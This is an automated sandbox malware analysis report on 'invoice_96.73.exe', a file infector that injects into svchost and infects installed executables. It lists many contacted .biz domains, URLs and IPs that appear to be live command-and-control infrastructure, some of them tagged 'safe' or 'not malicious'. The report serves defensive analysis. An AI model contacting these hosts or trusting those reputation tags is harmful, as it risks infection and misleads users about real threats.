Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\java.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\dllhost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\jjs.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\servertool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\unpack200.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\DW20.EXE	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\MSOCache\All Users\{90140000-003D-0000-1000-0000000FF1CE}-C\ose.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\sppsvc.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\CCleaner\CCleaner.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\klist.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\pack200.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Java\jre1.8.0_121\bin\rmiregistry.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\svchost.exe TID: 3384	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\alg.exe TID: 3488	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe TID: 3828	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe TID: 3904	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\ieetwcollector.exe TID: 4052	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\msdtc.exe TID: 3056	Thread sleep count: 401 > 30	Jump to behavior
Source: C:\Windows\System32\msdtc.exe TID: 3056	Thread sleep time: -40100s >= -30000s	Jump to behavior
Source: C:\Windows\System32\msiexec.exe TID: 2028	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\SysWOW64\perfhost.exe TID: 2208	Thread sleep count: 3816 > 30
Source: C:\Windows\SysWOW64\perfhost.exe TID: 2208	Thread sleep time: -38160000s >= -30000s
Source: C:\Windows\SysWOW64\perfhost.exe TID: 2208	Thread sleep count: 6182 > 30
Source: C:\Windows\SysWOW64\perfhost.exe TID: 2208	Thread sleep time: -61820000s >= -30000s
Source: C:\Windows\System32\vds.exe TID: 2632	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\wbengine.exe TID: 2216	Thread sleep time: -60000s >= -30000s

Source: C:\Windows\SysWOW64\perfhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\perfhost.exe	Last function: Thread delayed

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\Acrobat Reader DC\	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\Acrobat Reader DC\Reader\AcroApp\	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\Acrobat Reader DC\Esl\	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\Acrobat Reader DC\Reader\AcroApp\ENU\	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\Acrobat Reader DC\Reader\	Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\svchost.exe

Process queried: DebugPort

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Debug

Maps a DLL or memory area into another process

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\invoice_96.73.exe

Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write

Writes to foreign memory regions

Source: C:\Users\user\Desktop\invoice_96.73.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 7EFDE008

Source: C:\Users\user\Desktop\invoice_96.73.exe

Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\invoice_96.73.exe"

Source: invoice_96.73.exe

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning

Source: C:\Users\user\Desktop\invoice_96.73.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\alg.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: invoice_96.73.exe, 00000000.00000002.356954240.0000000000C4D000.00000004.00000020.00020000.00000000.sdmp, invoice_96.73.exe, 00000000.00000003.347417971.0000000000C4D000.00000004.00000020.00020000.00000000.sdmp, invoice_96.73.exe, 00000000.00000003.348829898.0000000000C4D000.00000004.00000020.00020000.00000000.sdmp, invoice_96.73.exe, 00000000.00000003.346600617.0000000000C4D000.00000004.00000020.00020000.00000000.sdmp, invoice_96.73.exe, 00000000.00000003.346132197.0000000000C4D000.00000004.00000020.00020000.00000000.sdmp, invoice_96.73.exe, 00000000.00000003.346170507.0000000000C4D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: msmpeng.exe

Stealing of Sensitive Information

Source: Yara match	File source: 00000004.00000002.387515587.0000000000240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.387578097.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Source: Yara match	File source: 00000004.00000002.387515587.0000000000240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.387578097.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Windows Service	1 Windows Service	222 Masquerading	OS Credential Dumping	22 Security Software Discovery	1 Taint Shared Content	Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scheduled Task/Job	212 Process Injection	2 Virtualization/Sandbox Evasion	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 LSASS Driver	1 Scheduled Task/Job	212 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	13 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 DLL Side-Loading	1 LSASS Driver	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 DLL Side-Loading	1 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	112 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
invoice_96.73.exe	96%	ReversingLabs	Win32.Virus.Expiro
invoice_96.73.exe	100%	Avira	W32/Infector.Gen
invoice_96.73.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	100%	Avira	W32/Infector.Gen
C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\DW20.EXE	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	100%	Avira	W32/Infector.Gen
C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\dwtrig20.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	100%	Avira	W32/Infector.Gen
C:\MSOCache\All Users\{90140000-003D-0000-1000-0000000FF1CE}-C\setup.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	100%	Avira	W32/Infector.Gen
C:\MSOCache\All Users\{90140000-003D-0000-1000-0000000FF1CE}-C\ose.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	100%	Joe Sandbox ML
C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\DW20.EXE	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	100%	Joe Sandbox ML
C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\dwtrig20.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	100%	Joe Sandbox ML
C:\MSOCache\All Users\{90140000-003D-0000-1000-0000000FF1CE}-C\setup.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	100%	Joe Sandbox ML
C:\MSOCache\All Users\{90140000-003D-0000-1000-0000000FF1CE}-C\ose.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://18.141.10.107/bpewylwxymwihal:	0%	Avira URL Cloud	safe
http://18.141.10.107/bpewylwxymwihal	0%	Avira URL Cloud	safe
http://13.251.16.150/nqtlxhjrub	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
oshhkdluh.biz	54.244.188.177	true	false	high
jpskm.biz	18.246.231.120	true	false	high
vjaxhpbji.biz	82.112.184.197	true	false	high
pywolwnvd.biz	54.244.188.177	true	false	high
ifsaia.biz	13.251.16.150	true	false	high
ytctnunms.biz	3.94.10.34	true	false	high
lrxdmhrr.biz	54.244.188.177	true	false	high
tbjrpv.biz	34.246.200.160	true	false	high
jhvzpcfg.biz	44.221.84.105	true	false	high
saytjshyf.biz	44.221.84.105	true	false	high
xlfhhhm.biz	47.129.31.212	true	false	high
fwiwk.biz	172.234.222.143	true	false	high
npukfztj.biz	44.221.84.105	true	false	high
przvgke.biz	172.234.222.143	true	false	high
dwrqljrr.biz	54.244.188.177	true	false	high
myups.biz	165.160.15.20	true	false	high
gytujflc.biz	208.100.26.245	true	false	high
yauexmxk.biz	18.208.156.248	true	false	high
ssbzmoy.biz	18.141.10.107	true	false	high
knjghuig.biz	18.141.10.107	true	false	high
yunalwv.biz	208.100.26.245	true	false	high
gnqgo.biz	18.208.156.248	true	false	high
deoci.biz	18.208.156.248	true	false	high
iuzpxe.biz	13.251.16.150	true	false	high
nqwjmb.biz	35.164.78.200	true	false	high
wllvnzb.biz	18.141.10.107	true	false	high
cvgrf.biz	54.244.188.177	true	false	high
qaynky.biz	13.251.16.150	true	false	high
lpuegx.biz	82.112.184.197	true	false	high
bumxkqgxu.biz	44.221.84.105	true	false	high
vcddkls.biz	18.141.10.107	true	false	high
acwjcqqv.biz	18.141.10.107	true	false	high
vyome.biz	18.246.231.120	true	false	high
uhxqin.biz	unknown	unknown	false	high
anpmnmxo.biz	unknown	unknown	false	high
zlenh.biz	unknown	unknown	false	high
lejtdj.biz	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://przvgke.biz/vccrolpmtjge	false	high
http://iuzpxe.biz/tgcwttfqletfhyq	false	high
http://ssbzmoy.biz/xuofommcmtwcs	false	high
http://saytjshyf.biz/ovknk	false	high
http://yauexmxk.biz/tgcwttfqletfhyq	false	high
http://oshhkdluh.biz/tgcwttfqletfhyq	false	high
http://lpuegx.biz/prfudb	false	high
http://vjaxhpbji.biz/qmufc	false	high
http://vcddkls.biz/nm	false	high
http://xlfhhhm.biz/p	false	high
http://cvgrf.biz/dyk	false	high
http://fwiwk.biz/kbtuvb	false	high
http://jhvzpcfg.biz/tgcwttfqletfhyq	false	high
http://gytujflc.biz/aphnqtgnwfpgg	false	high
http://lpuegx.biz/m	false	high
http://acwjcqqv.biz/tgcwttfqletfhyq	false	high
http://npukfztj.biz/xtaadg	false	high
http://bumxkqgxu.biz/tgcwttfqletfhyq	false	high
http://gytujflc.biz/cmjndgqt	false	high
http://dwrqljrr.biz/tgcwttfqletfhyq	false	high
http://pywolwnvd.biz/qbdegkuges	false	high
http://yunalwv.biz/tgcwttfqletfhyq	false	high
http://wllvnzb.biz/tgcwttfqletfhyq	false	high
http://ifsaia.biz/rkqa	false	high
http://lrxdmhrr.biz/tgcwttfqletfhyq	false	high
http://przvgke.biz/nabdw	false	high
http://tbjrpv.biz/ebyryipv	false	high
http://vjaxhpbji.biz/webejpnbfwojkbv	false	high
http://knjghuig.biz/ydlpotfktdldc	false	high
http://deoci.biz/vhlxvyk	false	high
http://gnqgo.biz/tgcwttfqletfhyq	false	high
http://fwiwk.biz/hwxehcd	false	high
http://qaynky.biz/nqtlxhjrub	false	high
http://ssbzmoy.biz/bpewylwxymwihal	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://18.141.10.107/bpewylwxymwihal:	invoice_96.73.exe, 00000000.00000002.356954240.0000000000B54000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://13.251.16.150/nqtlxhjrub	armsvc.exe, 00000002.00000002.620027406.000000000063C000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000002.620027406.0000000000655000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	armsvc.exe, 00000002.00000003.418303558.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://18.141.10.107/bpewylwxymwihal	invoice_96.73.exe, 00000000.00000002.356954240.0000000000B54000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	armsvc.exe, 00000002.00000003.418303558.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/	Aut2exe_x64.exe.2.dr	false		high
http://www.winimage.com/zLibDll	RdrServicesUpdater.exe.2.dr	false		high
http://www.autoitscript.com/autoit3/8	armsvc.exe, 00000002.00000003.586384130.0000000001570000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.580781457.0000000001570000.00000004.00001000.00020000.00000000.sdmp, Aut2exe_x64.exe.2.dr	false		high
https://www.autoitscript.com/site/autoit/8	armsvc.exe, 00000002.00000003.597459044.0000000001570000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
44.221.84.105	jhvzpcfg.biz	United States	14618	AMAZON-AESUS	false
34.246.200.160	tbjrpv.biz	United States	16509	AMAZON-02US	false
172.234.222.143	fwiwk.biz	United States	20940	AKAMAI-ASN1EU	false
18.208.156.248	yauexmxk.biz	United States	14618	AMAZON-AESUS	false
54.244.188.177	oshhkdluh.biz	United States	16509	AMAZON-02US	false
13.251.16.150	ifsaia.biz	United States	16509	AMAZON-02US	false
208.100.26.245	gytujflc.biz	United States	32748	STEADFASTUS	false
47.129.31.212	xlfhhhm.biz	Canada	34533	ESAMARA-ASRU	false
82.112.184.197	vjaxhpbji.biz	Russian Federation	43267	FIRST_LINE-SP_FOR_B2B_CUSTOMERSUPSTREAMSRU	false
18.141.10.107	ssbzmoy.biz	United States	16509	AMAZON-02US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564502
Start date and time:	2024-11-28 12:11:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	invoice_96.73.exe
Detection:	MAL
Classification:	mal100.spre.troj.evad.winEXE@18/88@39/10
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): SearchFilterHost.exe, dllhost.exe, wmpnetwk.exe, VSSVC.exe, SearchIndexer.exe, OSE.EXE, sppsvc.exe, FlashPlayerUpdateService.exe, SearchProtocolHost.exe, WMIADAP.exe, WmiApSrv.exe, spsys.sys, mscorsvw.exe
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: invoice_96.73.exe

Simulations

Behavior and APIs

Time	Type	Description
06:11:49	API Interceptor	5575x Sleep call for process: armsvc.exe modified
06:11:50	API Interceptor	3x Sleep call for process: invoice_96.73.exe modified
06:11:52	API Interceptor	167x Sleep call for process: alg.exe modified
06:11:54	API Interceptor	394x Sleep call for process: aspnet_state.exe modified
06:11:59	API Interceptor	102x Sleep call for process: ehrecvr.exe modified
06:12:02	API Interceptor	169x Sleep call for process: ehsched.exe modified
06:12:03	API Interceptor	1x Sleep call for process: FXSSVC.exe modified
06:12:05	API Interceptor	173x Sleep call for process: ieetwcollector.exe modified
06:12:06	API Interceptor	3x Sleep call for process: svchost.exe modified
06:12:06	API Interceptor	1x Sleep call for process: maintenanceservice.exe modified
06:12:07	API Interceptor	575x Sleep call for process: msdtc.exe modified
06:12:08	API Interceptor	205x Sleep call for process: msiexec.exe modified
06:12:09	API Interceptor	26485x Sleep call for process: perfhost.exe modified
06:12:11	API Interceptor	205x Sleep call for process: snmptrap.exe modified
06:12:13	API Interceptor	166x Sleep call for process: vds.exe modified
06:12:18	API Interceptor	180x Sleep call for process: wbengine.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
44.221.84.105	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	hehckyov.biz/ircdert
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	hehckyov.biz/xc
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	saytjshyf.biz/xyvnmtdiyfgocm
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	jhvzpcfg.biz/qehuuaxgtrfd
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	hehckyov.biz/of
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	hehckyov.biz/sdgvcmfo
	8dPlV2lT8o.exe	Get hash	malicious	Simda Stealer	Browse	gahyhiz.com/login.php
	7ObLFE2iMK.exe	Get hash	malicious	Simda Stealer	Browse	vocyzit.com/login.php
	UMwpXhA46R.exe	Get hash	malicious	Simda Stealer	Browse	vocyzit.com/login.php
	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	gadyciz.com/login.php
34.246.200.160	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	pwlqfu.biz/bdggmyte
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	mgmsclkyu.biz/qtbrykoecwonf
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	tbjrpv.biz/ho
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	tbjrpv.biz/rheljawehu
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	mgmsclkyu.biz/suewswdbcoj
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	pwlqfu.biz/mu
	AENiBH7X1q.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	pwlqfu.biz/yk
	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse	mgmsclkyu.biz/xsnbcmvbhjayqro
